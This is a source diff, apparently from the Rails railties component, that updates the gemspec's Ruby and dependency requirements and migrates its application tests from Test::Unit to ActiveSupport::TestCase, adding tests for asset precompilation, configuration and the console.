   s.summary     = 'Tools for creating, working with, and running Rails applications.'
   s.description = 'Rails internals: application bootup, plugins, generators, and rake tasks.'
-  s.required_ruby_version = '>= 1.8.7'
+  s.required_ruby_version = '>= 1.9.3'
+  s.license     = 'MIT'
 
   s.author            = 'David Heinemeier Hansson'
   s.email             = 'david@loudthinking.com'
   s.homepage          = 'http://www.rubyonrails.org'
 
-  s.files              = Dir['CHANGELOG.md', 'README.rdoc', 'bin/**/*', 'guides/**/*', 'lib/**/{*,.[a-z]*}']
+  s.files              = Dir['CHANGELOG.md', 'README.rdoc', 'bin/**/*', 'lib/**/{*,.[a-z]*}']
   s.require_path       = 'lib'
 
   s.bindir             = 'bin'
@@ -21,8 +22,7 @@ Gem::Specification.new do |s|
   s.rdoc_options << '--exclude' << '.'
 
   s.add_dependency('rake',          '>= 0.8.7')
-  s.add_dependency('thor',          '~> 0.14.6')
-  s.add_dependency('rack-ssl',      '~> 1.3.2')
+  s.add_dependency('thor',          '>= 0.15.4', '< 2.0')
   s.add_dependency('rdoc',          '~> 3.4')
   s.add_dependency('activesupport', version)
   s.add_dependency('actionpack',    version)
diff --git a/railties/test/abstract_unit.rb b/railties/test/abstract_unit.rb
index 1c3f8a701a..dfcf5aa27d 100644
--- a/railties/test/abstract_unit.rb
+++ b/railties/test/abstract_unit.rb
@@ -1,11 +1,12 @@
+ENV["RAILS_ENV"] ||= "test"
+
 require File.expand_path("../../../load_paths", __FILE__)
 
 require 'stringio'
-require 'test/unit'
+require 'minitest/autorun'
 require 'fileutils'
 
 require 'active_support'
-require 'active_support/core_ext/logger'
 
 require 'action_controller'
 require 'rails/all'
diff --git a/railties/test/application/asset_debugging_test.rb b/railties/test/application/asset_debugging_test.rb
index 1b99af22a4..ecacb34cb2 100644
--- a/railties/test/application/asset_debugging_test.rb
+++ b/railties/test/application/asset_debugging_test.rb
@@ -2,7 +2,7 @@ require 'isolation/abstract_unit'
 require 'rack/test'
 
 module ApplicationTests
-  class AssetDebuggingTest < Test::Unit::TestCase
+  class AssetDebuggingTest < ActiveSupport::TestCase
     include ActiveSupport::Testing::Isolation
     include Rack::Test::Methods
 
@@ -15,7 +15,7 @@ module ApplicationTests
 
       app_file "config/routes.rb", <<-RUBY
         AppTemplate::Application.routes.draw do
-          match '/posts', :to => "posts#index"
+          get '/posts', :to => "posts#index"
         end
       RUBY
 
@@ -45,8 +45,8 @@ module ApplicationTests
 
       # the debug_assets params isn't used if compile is off
       get '/posts?debug_assets=true'
-      assert_match(/<script src="\/assets\/application-([0-z]+)\.js" type="text\/javascript"><\/script>/, last_response.body)
-      assert_no_match(/<script src="\/assets\/xmlhr-([0-z]+)\.js" type="text\/javascript"><\/script>/, last_response.body)
+      assert_match(/<script src="\/assets\/application-([0-z]+)\.js"><\/script>/, last_response.body)
+      assert_no_match(/<script src="\/assets\/xmlhr-([0-z]+)\.js"><\/script>/, last_response.body)
     end
 
     test "assets aren't concatened when compile is true is on and debug_assets params is true" do
@@ -58,8 +58,8 @@ module ApplicationTests
       class ::PostsController < ActionController::Base ; end
 
       get '/posts?debug_assets=true'
-      assert_match(/<script src="\/assets\/application-([0-z]+)\.js\?body=1" type="text\/javascript"><\/script>/, last_response.body)
-      assert_match(/<script src="\/assets\/xmlhr-([0-z]+)\.js\?body=1" type="text\/javascript"><\/script>/, last_response.body)
+      assert_match(/<script src="\/assets\/application-([0-z]+)\.js\?body=1"><\/script>/, last_response.body)
+      assert_match(/<script src="\/assets\/xmlhr-([0-z]+)\.js\?body=1"><\/script>/, last_response.body)
     end
   end
 end
diff --git a/railties/test/application/assets_test.rb b/railties/test/application/assets_test.rb
index d4ffbe3d66..c29fa4d95f 100644
--- a/railties/test/application/assets_test.rb
+++ b/railties/test/application/assets_test.rb
@@ -4,7 +4,7 @@ require 'active_support/core_ext/kernel/reporting'
 require 'rack/test'
 
 module ApplicationTests
-  class AssetsTest < Test::Unit::TestCase
+  class AssetsTest < ActiveSupport::TestCase
     include ActiveSupport::Testing::Isolation
     include Rack::Test::Methods
 
@@ -17,13 +17,21 @@ module ApplicationTests
       teardown_app
     end
 
-    def app
-      @app ||= Rails.application
+    def precompile!(env = nil)
+      quietly do
+        precompile_task = 'bundle exec rake assets:precompile'
+        precompile_task += ' ' + env if env
+        out = Dir.chdir(app_path){  %x[ #{precompile_task} ] }
+        assert $?.exitstatus == 0,
+               "#{precompile_task} has failed: #{out}.\
+                Probably you didn't install JavaScript runtime."
+        return out
+      end
     end
 
-    def precompile!
+    def clean_assets!
       quietly do
-        Dir.chdir(app_path){ `bundle exec rake assets:precompile` }
+        assert Dir.chdir(app_path){ system('bundle exec rake assets:clean') }
       end
     end
 
@@ -32,7 +40,7 @@ module ApplicationTests
 
       app_file 'config/routes.rb', <<-RUBY
         AppTemplate::Application.routes.draw do
-          match '*path', :to => lambda { |env| [200, { "Content-Type" => "text/html" }, "Not an asset"] }
+          get '*path', :to => lambda { |env| [200, { "Content-Type" => "text/html" }, "Not an asset"] }
         end
       RUBY
 
@@ -68,11 +76,11 @@ module ApplicationTests
       files << Dir["#{app_path}/public/assets/foo/application.js"].first
       files.each do |file|
         assert_not_nil file, "Expected application.js asset to be generated, but none found"
-        assert_equal "alert()", File.read(file)
+        assert_equal "alert();", File.read(file)
       end
     end
 
-    test "precompile application.js and application.css and all other files not ending with .js or .css by default" do
+    test "precompile application.js and application.css and all other non JS/CSS files" do
       app_file "app/assets/javascripts/application.js", "alert();"
       app_file "app/assets/stylesheets/application.css", "body{}"
 
@@ -82,8 +90,11 @@ module ApplicationTests
       app_file "app/assets/javascripts/something.min.js", "alert();"
       app_file "app/assets/stylesheets/something.min.css", "body{}"
 
+      app_file "app/assets/javascripts/something.else.js.erb", "alert();"
+      app_file "app/assets/stylesheets/something.else.css.erb", "body{}"
+
       images_should_compile = ["a.png", "happyface.png", "happy_face.png", "happy.face.png",
-                               "happy-face.png", "happy.happy_face.png", "happy_happy.face.png", 
+                               "happy-face.png", "happy.happy_face.png", "happy_happy.face.png",
                                "happy.happy.face.png", "happy", "happy.face", "-happyface",
                                "-happy.png", "-happy.face.png", "_happyface", "_happy.face.png",
                                "_happy.png"]
@@ -95,17 +106,28 @@ module ApplicationTests
       precompile!
 
       images_should_compile.each do |filename|
-        assert File.exists?("#{app_path}/public/assets/#{filename}")
+        assert_file_exists "#{app_path}/public/assets/#{filename}"
       end
 
-      assert File.exists?("#{app_path}/public/assets/application.js")
-      assert File.exists?("#{app_path}/public/assets/application.css")
+      assert_file_exists("#{app_path}/public/assets/application.js")
+      assert_file_exists("#{app_path}/public/assets/application.css")
+
+      assert_no_file_exists("#{app_path}/public/assets/someapplication.js")
+      assert_no_file_exists("#{app_path}/public/assets/someapplication.css")
 
-      assert !File.exists?("#{app_path}/public/assets/someapplication.js")
-      assert !File.exists?("#{app_path}/public/assets/someapplication.css")
+      assert_no_file_exists("#{app_path}/public/assets/something.min.js")
+      assert_no_file_exists("#{app_path}/public/assets/something.min.css")
 
-      assert !File.exists?("#{app_path}/public/assets/something.min.js")
-      assert !File.exists?("#{app_path}/public/assets/something.min.css")
+      assert_no_file_exists("#{app_path}/public/assets/something.else.js")
+      assert_no_file_exists("#{app_path}/public/assets/something.else.css")
+    end
+
+    def assert_file_exists(filename)
+      assert File.exists?(filename), "missing #{filename}"
+    end
+
+    def assert_no_file_exists(filename)
+      assert !File.exists?(filename), "#{filename} does exist"
     end
 
     test "asset pipeline should use a Sprockets::Index when config.assets.digest is true" do
@@ -202,7 +224,7 @@ module ApplicationTests
 
       app_file "config/routes.rb", <<-RUBY
         AppTemplate::Application.routes.draw do
-          match '/posts', :to => "posts#index"
+          get '/posts', :to => "posts#index"
         end
       RUBY
 
@@ -213,11 +235,13 @@ module ApplicationTests
       app_file "app/assets/javascripts/app.js", "alert();"
 
       require "#{app_path}/config/environment"
-      class ::PostsController < ActionController::Base ; end
+      class ::PostsController < ActionController::Base
+        def show_detailed_exceptions?() true end
+      end
 
       get '/posts'
       assert_match(/AssetNotPrecompiledError/, last_response.body)
-      assert_match(/app.js isn't precompiled/, last_response.body)
+      assert_match(/app.js isn&#x27;t precompiled/, last_response.body)
     end
 
     test "assets raise AssetNotPrecompiledError when manifest file is present and requested file isn't precompiled if digest is disabled" do
@@ -226,7 +250,7 @@ module ApplicationTests
 
       app_file "config/routes.rb", <<-RUBY
         AppTemplate::Application.routes.draw do
-          match '/posts', :to => "posts#index"
+          get '/posts', :to => "posts#index"
         end
       RUBY
 
@@ -241,7 +265,7 @@ module ApplicationTests
 
       get '/posts'
       assert_match(/AssetNotPrecompiledError/, last_response.body)
-      assert_match(/app.js isn't precompiled/, last_response.body)
+      assert_match(/app.js isn&#x27;t precompiled/, last_response.body)
     end
 
     test "precompile properly refers files referenced with asset_path and and run in the provided RAILS_ENV" do
@@ -249,9 +273,8 @@ module ApplicationTests
       # digest is default in false, we must enable it for test environment
       add_to_env_config "test", "config.assets.digest = true"
 
-      quietly do
-        Dir.chdir(app_path){ `bundle exec rake assets:precompile RAILS_ENV=test` }
-      end
+      precompile!('RAILS_ENV=test')
+
       file = Dir["#{app_path}/public/assets/application.css"].first
       assert_match(/\/assets\/rails\.png/, File.read(file))
       file = Dir["#{app_path}/public/assets/application-*.css"].first
@@ -281,9 +304,9 @@ module ApplicationTests
       add_to_config "config.assets.compile = true"
 
       ENV["RAILS_ENV"] = nil
-      quietly do
-        Dir.chdir(app_path){ `bundle exec rake assets:precompile RAILS_GROUPS=assets` }
-      end
+
+      precompile!('RAILS_GROUPS=assets')
+
       file = Dir["#{app_path}/public/assets/application-*.css"].first
       assert_match(/\/assets\/rails-([0-z]+)\.png/, File.read(file))
     end
@@ -306,11 +329,9 @@ module ApplicationTests
       app_file "public/assets/application.css", "a { color: green; }"
       app_file "public/assets/subdir/broken.png", "not really an image file"
 
-      quietly do
-        Dir.chdir(app_path){ `bundle exec rake assets:clean` }
-      end
+      clean_assets!
 
-      files = Dir["#{app_path}/public/assets/**/*", "#{app_path}/tmp/cache/*"]
+      files = Dir["#{app_path}/public/assets/**/*", "#{app_path}/tmp/cache/assets/*"]
       assert_equal 0, files.length, "Expected no assets, but found #{files.join(', ')}"
     end
 
@@ -330,7 +351,7 @@ module ApplicationTests
 
       app_file "config/routes.rb", <<-RUBY
         AppTemplate::Application.routes.draw do
-          match '/omg', :to => "omg#index"
+          get '/omg', :to => "omg#index"
         end
       RUBY
 
@@ -378,8 +399,8 @@ module ApplicationTests
 
       # the debug_assets params isn't used if compile is off
       get '/posts?debug_assets=true'
-      assert_match(/<script src="\/assets\/application-([0-z]+)\.js" type="text\/javascript"><\/script>/, last_response.body)
-      assert_no_match(/<script src="\/assets\/xmlhr-([0-z]+)\.js" type="text\/javascript"><\/script>/, last_response.body)
+      assert_match(/<script src="\/assets\/application-([0-z]+)\.js"><\/script>/, last_response.body)
+      assert_no_match(/<script src="\/assets\/xmlhr-([0-z]+)\.js"><\/script>/, last_response.body)
     end
 
     test "assets aren't concatened when compile is true is on and debug_assets params is true" do
@@ -393,8 +414,8 @@ module ApplicationTests
       class ::PostsController < ActionController::Base ; end
 
       get '/posts?debug_assets=true'
-      assert_match(/<script src="\/assets\/application-([0-z]+)\.js\?body=1" type="text\/javascript"><\/script>/, last_response.body)
-      assert_match(/<script src="\/assets\/xmlhr-([0-z]+)\.js\?body=1" type="text\/javascript"><\/script>/, last_response.body)
+      assert_match(/<script src="\/assets\/application-([0-z]+)\.js\?body=1"><\/script>/, last_response.body)
+      assert_match(/<script src="\/assets\/xmlhr-([0-z]+)\.js\?body=1"><\/script>/, last_response.body)
     end
 
     test "assets can access model information when precompiling" do
@@ -419,6 +440,12 @@ module ApplicationTests
       assert_equal "NoPost;\n", File.read("#{app_path}/public/assets/application.js")
     end
 
+    test "initialization on the assets group should set assets_dir" do
+      require "#{app_path}/config/application"
+      Rails.application.initialize!(:assets)
+      assert_not_nil Rails.application.config.action_controller.assets_dir
+    end
+
     test "enhancements to assets:precompile should only run once" do
       app_file "lib/tasks/enhance.rake", "Rake::Task['assets:precompile'].enhance { puts 'enhancement' }"
       output = precompile!
@@ -430,9 +457,8 @@ module ApplicationTests
       add_to_config "config.assets.compile = true"
       add_to_config "config.assets.digest = true"
 
-      quietly do
-        Dir.chdir(app_path){ `bundle exec rake assets:clean assets:precompile` }
-      end
+      clean_assets!
+      precompile!
 
       files = Dir["#{app_path}/public/assets/application-*.js"]
       assert_equal 1, files.length, "Expected digested application.js asset to be generated, but none found"
@@ -443,14 +469,56 @@ module ApplicationTests
       add_to_env_config "production", "config.assets.prefix = 'production_assets'"
 
       ENV["RAILS_ENV"] = nil
-      quietly do
-        Dir.chdir(app_path){ `bundle exec rake assets:clean` }
-      end
+
+      clean_assets!
 
       files = Dir["#{app_path}/public/production_assets/application.js"]
       assert_equal 0, files.length, "Expected application.js asset to be removed, but still exists"
     end
 
+    test "asset urls should use the request's protocol by default" do
+      app_with_assets_in_view
+      add_to_config "config.asset_host = 'example.com'"
+      require "#{app_path}/config/environment"
+      class ::PostsController < ActionController::Base; end
+
+      get '/posts', {}, {'HTTPS'=>'off'}
+      assert_match('src="http://example.com/assets/application.js', last_response.body)
+      get '/posts', {}, {'HTTPS'=>'on'}
+      assert_match('src="https://example.com/assets/application.js', last_response.body)
+    end
+
+    test "asset urls should be protocol-relative if no request is in scope" do
+      app_file "app/assets/javascripts/image_loader.js.erb", 'var src="<%= image_path("rails.png") %>";'
+      add_to_config "config.assets.precompile = %w{image_loader.js}"
+      add_to_config "config.asset_host = 'example.com'"
+      precompile!
+
+      assert_match 'src="//example.com/assets/rails.png"', File.read("#{app_path}/public/assets/image_loader.js")
+    end
+
+    test "asset paths should use RAILS_RELATIVE_URL_ROOT by default" do
+      ENV["RAILS_RELATIVE_URL_ROOT"] = "/sub/uri"
+
+      app_file "app/assets/javascripts/app.js.erb", 'var src="<%= image_path("rails.png") %>";'
+      add_to_config "config.assets.precompile = %w{app.js}"
+      precompile!
+
+      assert_match 'src="/sub/uri/assets/rails.png"', File.read("#{app_path}/public/assets/app.js")
+    end
+
+    test "assets:cache:clean should clean cache" do
+      ENV["RAILS_ENV"] = "production"
+      precompile!
+
+      quietly do
+        Dir.chdir(app_path){ `bundle exec rake assets:cache:clean` }
+      end
+
+      require "#{app_path}/config/environment"
+      assert_equal 0, Dir.entries(Rails.application.assets.cache.cache_path).size - 2 # reject [".", ".."]
+    end
+
     private
 
     def app_with_assets_in_view
@@ -460,7 +528,7 @@ module ApplicationTests
 
       app_file "config/routes.rb", <<-RUBY
         AppTemplate::Application.routes.draw do
-          match '/posts', :to => "posts#index"
+          get '/posts', :to => "posts#index"
         end
       RUBY
     end
diff --git a/railties/test/application/build_original_fullpath_test.rb b/railties/test/application/build_original_fullpath_test.rb
new file mode 100644
index 0000000000..647ffb097a
--- /dev/null
+++ b/railties/test/application/build_original_fullpath_test.rb
@@ -0,0 +1,27 @@
+require "abstract_unit"
+
+module ApplicationTests
+  class BuildOriginalPathTest < ActiveSupport::TestCase
+    def test_include_original_PATH_info_in_ORIGINAL_FULLPATH
+      env = { 'PATH_INFO' => '/foo/' }
+      assert_equal "/foo/", Rails.application.send(:build_original_fullpath, env)
+    end
+
+    def test_include_SCRIPT_NAME
+      env = {
+        'SCRIPT_NAME' => '/foo',
+        'PATH_INFO' => '/bar'
+      }
+
+      assert_equal "/foo/bar", Rails.application.send(:build_original_fullpath, env)
+    end
+
+    def test_include_QUERY_STRING
+      env = {
+        'PATH_INFO' => '/foo',
+        'QUERY_STRING' => 'bar',
+      }
+      assert_equal "/foo?bar", Rails.application.send(:build_original_fullpath, env)
+    end
+  end
+end
diff --git a/railties/test/application/configuration_test.rb b/railties/test/application/configuration_test.rb
index f356805d6e..ebdbbaee8b 100644
--- a/railties/test/application/configuration_test.rb
+++ b/railties/test/application/configuration_test.rb
@@ -1,4 +1,5 @@
 require "isolation/abstract_unit"
+require 'rack/test'
 
 class ::MyMailInterceptor
   def self.delivering_email(email); email; end
@@ -13,8 +14,9 @@ end
 class ::MyOtherMailObserver < ::MyMailObserver; end
 
 module ApplicationTests
-  class ConfigurationTest < Test::Unit::TestCase
+  class ConfigurationTest < ActiveSupport::TestCase
     include ActiveSupport::Testing::Isolation
+    include Rack::Test::Methods
 
     def new_app
       File.expand_path("#{app_path}/../new_app")
@@ -39,16 +41,39 @@ module ApplicationTests
       FileUtils.rm_rf(new_app) if File.directory?(new_app)
     end
 
+    test "a renders exception on pending migration" do
+      add_to_config <<-RUBY
+        config.active_record.migration_error    = :page_load
+        config.consider_all_requests_local      = true
+        config.action_dispatch.show_exceptions  = true
+      RUBY
+
+      require "#{app_path}/config/environment"
+      ActiveRecord::Migrator.stubs(:needs_migration?).returns(true)
+
+      get "/foo"
+      assert_equal 500, last_response.status
+      assert_match "ActiveRecord::PendingMigrationError", last_response.body
+    end
+
+    test "multiple queue construction is possible" do
+      require 'rails'
+      require "#{app_path}/config/environment"
+      mail_queue             = Rails.application.build_queue
+      image_processing_queue = Rails.application.build_queue
+      assert_not_equal mail_queue, image_processing_queue
+    end
+
     test "Rails.groups returns available groups" do
       require "rails"
 
       Rails.env = "development"
       assert_equal [:default, "development"], Rails.groups
-      assert_equal [:default, "development", :assets], Rails.groups(:assets => [:development])
-      assert_equal [:default, "development", :another, :assets], Rails.groups(:another, :assets => %w(development))
+      assert_equal [:default, "development", :assets], Rails.groups(assets: [:development])
+      assert_equal [:default, "development", :another, :assets], Rails.groups(:another, assets: %w(development))
 
       Rails.env = "test"
-      assert_equal [:default, "test"], Rails.groups(:assets => [:development])
+      assert_equal [:default, "test"], Rails.groups(assets: [:development])
 
       ENV["RAILS_GROUPS"] = "javascripts,stylesheets"
       assert_equal [:default, "test", "javascripts", "stylesheets"], Rails.groups
@@ -114,13 +139,19 @@ module ApplicationTests
       assert_instance_of Pathname, Rails.root
     end
 
-    test "marking the application as threadsafe sets the correct config variables" do
+    test "initialize an eager loaded, cache classes app" do
       add_to_config <<-RUBY
-        config.threadsafe!
+        config.eager_load = true
+        config.cache_classes = true
       RUBY
 
       require "#{app_path}/config/application"
-      assert AppTemplate::Application.config.allow_concurrency
+      assert AppTemplate::Application.initialize!
+    end
+
+    test "application is always added to eager_load namespaces" do
+      require "#{app_path}/config/application"
+      assert AppTemplate::Application, AppTemplate::Application.config.eager_load_namespaces
     end
 
     test "asset_path defaults to nil for application" do
@@ -128,10 +159,11 @@ module ApplicationTests
       assert_equal nil, AppTemplate::Application.config.asset_path
     end
 
-    test "the application can be marked as threadsafe when there are no frameworks" do
+    test "the application can be eager loaded even when there are no frameworks" do
       FileUtils.rm_rf("#{app_path}/config/environments")
       add_to_config <<-RUBY
-        config.threadsafe!
+        config.eager_load = true
+        config.cache_classes = true
       RUBY
 
       use_frameworks []
@@ -141,22 +173,6 @@ module ApplicationTests
       end
     end
 
-    test "frameworks are not preloaded by default" do
-      require "#{app_path}/config/environment"
-
-      assert ActionController.autoload?(:RecordIdentifier)
-    end
-
-    test "frameworks are preloaded with config.preload_frameworks is set" do
-      add_to_config <<-RUBY
-        config.preload_frameworks = true
-      RUBY
-
-      require "#{app_path}/config/environment"
-
-      assert !ActionController.autoload?(:RecordIdentifier)
-    end
-
     test "filter_parameters should be able to set via config.filter_parameters" do
       add_to_config <<-RUBY
         config.filter_parameters += [ :foo, 'bar', lambda { |key, value|
@@ -181,20 +197,14 @@ module ApplicationTests
       assert !$prepared
 
       require "#{app_path}/config/environment"
-      require 'rack/test'
-      extend Rack::Test::Methods
 
       get "/"
       assert $prepared
     end
 
     def assert_utf8
-      if RUBY_VERSION < '1.9'
-        assert_equal "UTF8", $KCODE
-      else
-        assert_equal Encoding::UTF_8, Encoding.default_external
-        assert_equal Encoding::UTF_8, Encoding.default_internal
-      end
+      assert_equal Encoding::UTF_8, Encoding.default_external
+      assert_equal Encoding::UTF_8, Encoding.default_internal
     end
 
     test "skipping config.encoding still results in 'utf-8' as the default" do
@@ -250,6 +260,55 @@ module ApplicationTests
       assert last_response.body =~ /csrf\-param/
     end
 
+    test "default method for update can be changed" do
+      app_file 'app/models/post.rb', <<-RUBY
+      class Post
+        extend ActiveModel::Naming
+        def to_key; [1]; end
+        def persisted?; true; end
+      end
+      RUBY
+
+      app_file 'app/controllers/posts_controller.rb', <<-RUBY
+      class PostsController < ApplicationController
+        def show
+          render :inline => "<%= begin; form_for(Post.new) {}; rescue => e; e.to_s; end %>"
+        end
+
+        def update
+          render :text => "update"
+        end
+      end
+      RUBY
+
+      add_to_config <<-RUBY
+        routes.prepend do
+          resources :posts
+        end
+      RUBY
+
+      require "#{app_path}/config/environment"
+
+      token = "cf50faa3fe97702ca1ae"
+      PostsController.any_instance.stubs(:form_authenticity_token).returns(token)
+      params = {:authenticity_token => token}
+
+      get "/posts/1"
+      assert_match(/patch/, last_response.body)
+
+      patch "/posts/1", params
+      assert_match(/update/, last_response.body)
+
+      patch "/posts/1", params
+      assert_equal 200, last_response.status
+
+      put "/posts/1", params
+      assert_match(/update/, last_response.body)
+
+      put "/posts/1", params
+      assert_equal 200, last_response.status
+    end
+
     test "request forgery token param can be changed" do
       make_basic_app do
         app.config.action_controller.request_forgery_protection_token = '_xsrf_token_here'
@@ -286,6 +345,19 @@ module ApplicationTests
       assert_equal res, last_response.body # value should be unchanged
     end
 
+    test "sets ActionDispatch.test_app" do
+      make_basic_app
+      assert_equal Rails.application, ActionDispatch.test_app
+    end
+
+    test "sets ActionDispatch::Response.default_charset" do
+      make_basic_app do |app|
+        app.config.action_dispatch.default_charset = "utf-16"
+      end
+
+      assert_equal "utf-16", ActionDispatch::Response.default_charset
+    end
+
     test "sets all Active Record models to whitelist all attributes by default" do
       add_to_config <<-RUBY
         config.active_record.whitelist_attributes = true
@@ -293,9 +365,10 @@ module ApplicationTests
 
       require "#{app_path}/config/environment"
 
-      assert_equal ActiveModel::MassAssignmentSecurity::WhiteList,
-                   ActiveRecord::Base.active_authorizers[:default].class
-      assert_equal [""], ActiveRecord::Base.active_authorizers[:default].to_a
+      klass = Class.new(ActiveRecord::Base)
+
+      assert_equal ActiveModel::MassAssignmentSecurity::WhiteList, klass.active_authorizers[:default].class
+      assert_equal [], klass.active_authorizers[:default].to_a
     end
 
     test "registers interceptors with ActionMailer" do
@@ -474,6 +547,12 @@ module ApplicationTests
       end
       RUBY
 
+      app_file 'app/controllers/application_controller.rb', <<-RUBY
+      class ApplicationController < ActionController::Base
+        protect_from_forgery with: :reset_session # as we are testing API here
+      end
+      RUBY
+
       app_file 'app/controllers/posts_controller.rb', <<-RUBY
       class PostsController < ApplicationController
         def create
@@ -483,14 +562,12 @@ module ApplicationTests
       RUBY
 
       add_to_config <<-RUBY
-        routes.append do
+        routes.prepend do
           resources :posts
         end
       RUBY
 
       require "#{app_path}/config/environment"
-      require "rack/test"
-      extend Rack::Test::Methods
 
       post "/posts.json", '{ "title": "foo", "name": "bar" }', "CONTENT_TYPE" => "application/json"
       assert_equal '{"title"=>"foo"}', last_response.body
@@ -521,9 +598,37 @@ module ApplicationTests
       make_basic_app
 
       assert_respond_to app, :env_config
-      assert_equal      app.env_config['action_dispatch.parameter_filter'], app.config.filter_parameters
-      assert_equal      app.env_config['action_dispatch.secret_token'],     app.config.secret_token
-      assert_equal      app.env_config['action_dispatch.show_exceptions'],  app.config.action_dispatch.show_exceptions
+      assert_equal      app.env_config['action_dispatch.parameter_filter'],  app.config.filter_parameters
+      assert_equal      app.env_config['action_dispatch.secret_token'],      app.config.secret_token
+      assert_equal      app.env_config['action_dispatch.show_exceptions'],   app.config.action_dispatch.show_exceptions
+      assert_equal      app.env_config['action_dispatch.logger'],            Rails.logger
+      assert_equal      app.env_config['action_dispatch.backtrace_cleaner'], Rails.backtrace_cleaner
+    end
+
+    test "config.colorize_logging default is true" do
+      make_basic_app
+      assert app.config.colorize_logging
+    end
+
+    test "config.active_record.observers" do
+      add_to_config <<-RUBY
+        config.active_record.observers = :foo_observer
+      RUBY
+
+      app_file 'app/models/foo.rb', <<-RUBY
+        class Foo < ActiveRecord::Base
+        end
+      RUBY
+
+      app_file 'app/models/foo_observer.rb', <<-RUBY
+        class FooObserver < ActiveRecord::Observer
+        end
+      RUBY
+
+      require "#{app_path}/config/environment"
+
+      ActiveRecord::Base
+      assert defined?(FooObserver)
     end
   end
 end
diff --git a/railties/test/application/console_test.rb b/railties/test/application/console_test.rb
index 1528d5dd87..f372afa51c 100644
--- a/railties/test/application/console_test.rb
+++ b/railties/test/application/console_test.rb
@@ -1,6 +1,6 @@
 require 'isolation/abstract_unit'
 
-class ConsoleTest < Test::Unit::TestCase
+class ConsoleTest < ActiveSupport::TestCase
   include ActiveSupport::Testing::Isolation
 
   def setup
@@ -18,16 +18,20 @@ class ConsoleTest < Test::Unit::TestCase
     Rails.application.load_console
   end
 
+  def irb_context
+    Object.new.extend(Rails::ConsoleMethods)
+  end
+
   def test_app_method_should_return_integration_session
     TestHelpers::Rack.send :remove_method, :app
     load_environment
-    console_session = app
+    console_session = irb_context.app
     assert_instance_of ActionDispatch::Integration::Session, console_session
   end
 
   def test_new_session_should_return_integration_session
     load_environment
-    session = new_session
+    session = irb_context.new_session
     assert_instance_of ActionDispatch::Integration::Session, session
   end
 
@@ -41,7 +45,7 @@ class ConsoleTest < Test::Unit::TestCase
     ActionDispatch::Reloader.to_prepare { c = 3 }
 
     # Hide Reloading... output
-    silence_stream(STDOUT) { reload! }
+    silence_stream(STDOUT) { irb_context.reload! }
 
     assert_equal 1, a
     assert_equal 2, b
@@ -57,7 +61,6 @@ class ConsoleTest < Test::Unit::TestCase
 
     load_environment
     assert User.new.respond_to?(:name)
-    assert !User.new.respond_to?(:age)
 
     app_file "app/models/user.rb", <<-MODEL
       class User
@@ -66,12 +69,13 @@ class ConsoleTest < Test::Unit::TestCase
     MODEL
 
     assert !User.new.respond_to?(:age)
-    silence_stream(STDOUT) { reload! }
+    silence_stream(STDOUT) { irb_context.reload! }
     assert User.new.respond_to?(:age)
   end
 
   def test_access_to_helpers
     load_environment
+    helper = irb_context.helper
     assert_not_nil helper
     assert_instance_of ActionView::Base, helper
     assert_equal 'Once upon a time in a world...',
diff --git a/railties/test/application/generators_test.rb b/railties/test/application/generators_test.rb
index 4365d00b1f..b80244f1d2 100644
--- a/railties/test/application/generators_test.rb
+++ b/railties/test/application/generators_test.rb
@@ -1,7 +1,7 @@
 require "isolation/abstract_unit"
 
 module ApplicationTests
-  class GeneratorsTest < Test::Unit::TestCase
+  class GeneratorsTest < ActiveSupport::TestCase
     include ActiveSupport::Testing::Isolation
 
     def setup
@@ -45,10 +45,10 @@ module ApplicationTests
 
     test "generators set rails options" do
       with_bare_config do |c|
-        c.generators.orm            = :datamapper
+        c.generators.orm            = :data_mapper
         c.generators.test_framework = :rspec
         c.generators.helper         = false
-        expected = { :rails => { :orm => :datamapper, :test_framework => :rspec, :helper => false } }
+        expected = { :rails => { :orm => :data_mapper, :test_framework => :rspec, :helper => false } }
         assert_equal(expected, c.generators.options)
       end
     end
@@ -64,7 +64,7 @@ module ApplicationTests
     test "generators aliases, options, templates and fallbacks on initialization" do
       add_to_config <<-RUBY
         config.generators.rails :aliases => { :test_framework => "-w" }
-        config.generators.orm :datamapper
+        config.generators.orm :data_mapper
         config.generators.test_framework :rspec
         config.generators.fallbacks[:shoulda] = :test_unit
         config.generators.templates << "some/where"
@@ -95,15 +95,15 @@ module ApplicationTests
     test "generators with hashes for options and aliases" do
       with_bare_config do |c|
         c.generators do |g|
-          g.orm    :datamapper, :migration => false
+          g.orm    :data_mapper, :migration => false
           g.plugin :aliases => { :generator => "-g" },
                    :generator => true
         end
 
         expected = {
-          :rails => { :orm => :datamapper },
+          :rails => { :orm => :data_mapper },
           :plugin => { :generator => true },
-          :datamapper => { :migration => false }
+          :data_mapper => { :migration => false }
         }
 
         assert_equal expected, c.generators.options
@@ -114,12 +114,12 @@ module ApplicationTests
     test "generators with string and hash for options should generate symbol keys" do
       with_bare_config do |c|
         c.generators do |g|
-          g.orm    'datamapper', :migration => false
+          g.orm    'data_mapper', :migration => false
         end
 
         expected = {
-          :rails => { :orm => :datamapper },
-          :datamapper => { :migration => false }
+          :rails => { :orm => :data_mapper },
+          :data_mapper => { :migration => false }
         }
 
         assert_equal expected, c.generators.options
diff --git a/railties/test/application/initializers/boot_test.rb b/railties/test/application/initializers/boot_test.rb
index b1e01dc13f..04c46058cb 100644
--- a/railties/test/application/initializers/boot_test.rb
+++ b/railties/test/application/initializers/boot_test.rb
@@ -1,7 +1,7 @@
 require "isolation/abstract_unit"
 
 module ApplicationTests
-  class GemBooting < Test::Unit::TestCase
+  class GemBooting < ActiveSupport::TestCase
     include ActiveSupport::Testing::Isolation
 
     def setup
diff --git a/railties/test/application/initializers/check_ruby_version_test.rb b/railties/test/application/initializers/check_ruby_version_test.rb
deleted file mode 100644
index df7e9696a9..0000000000
--- a/railties/test/application/initializers/check_ruby_version_test.rb
+++ /dev/null
@@ -1,39 +0,0 @@
-require "isolation/abstract_unit"
-
-module ApplicationTests
-  class CheckRubyVersionTest < Test::Unit::TestCase
-    include ActiveSupport::Testing::Isolation
-
-    def setup
-      build_app
-      boot_rails
-    end
-
-    def teardown
-      teardown_app
-    end
-
-    test "rails initializes with ruby 1.8.7 or later, except for 1.9.1" do
-      if RUBY_VERSION < '1.8.7'
-        assert_rails_does_not_boot
-      elsif RUBY_VERSION == '1.9.1'
-        assert_rails_does_not_boot
-      else
-        assert_rails_boots
-      end
-    end
-
-    def assert_rails_boots
-      assert_nothing_raised "It appears that rails does not boot" do
-        require "rails/all"
-      end
-    end
-
-    def assert_rails_does_not_boot
-      $stderr = File.open("/dev/null", "w")
-      assert_raises(SystemExit) do
-        require "rails/all"
-      end
-    end
-  end
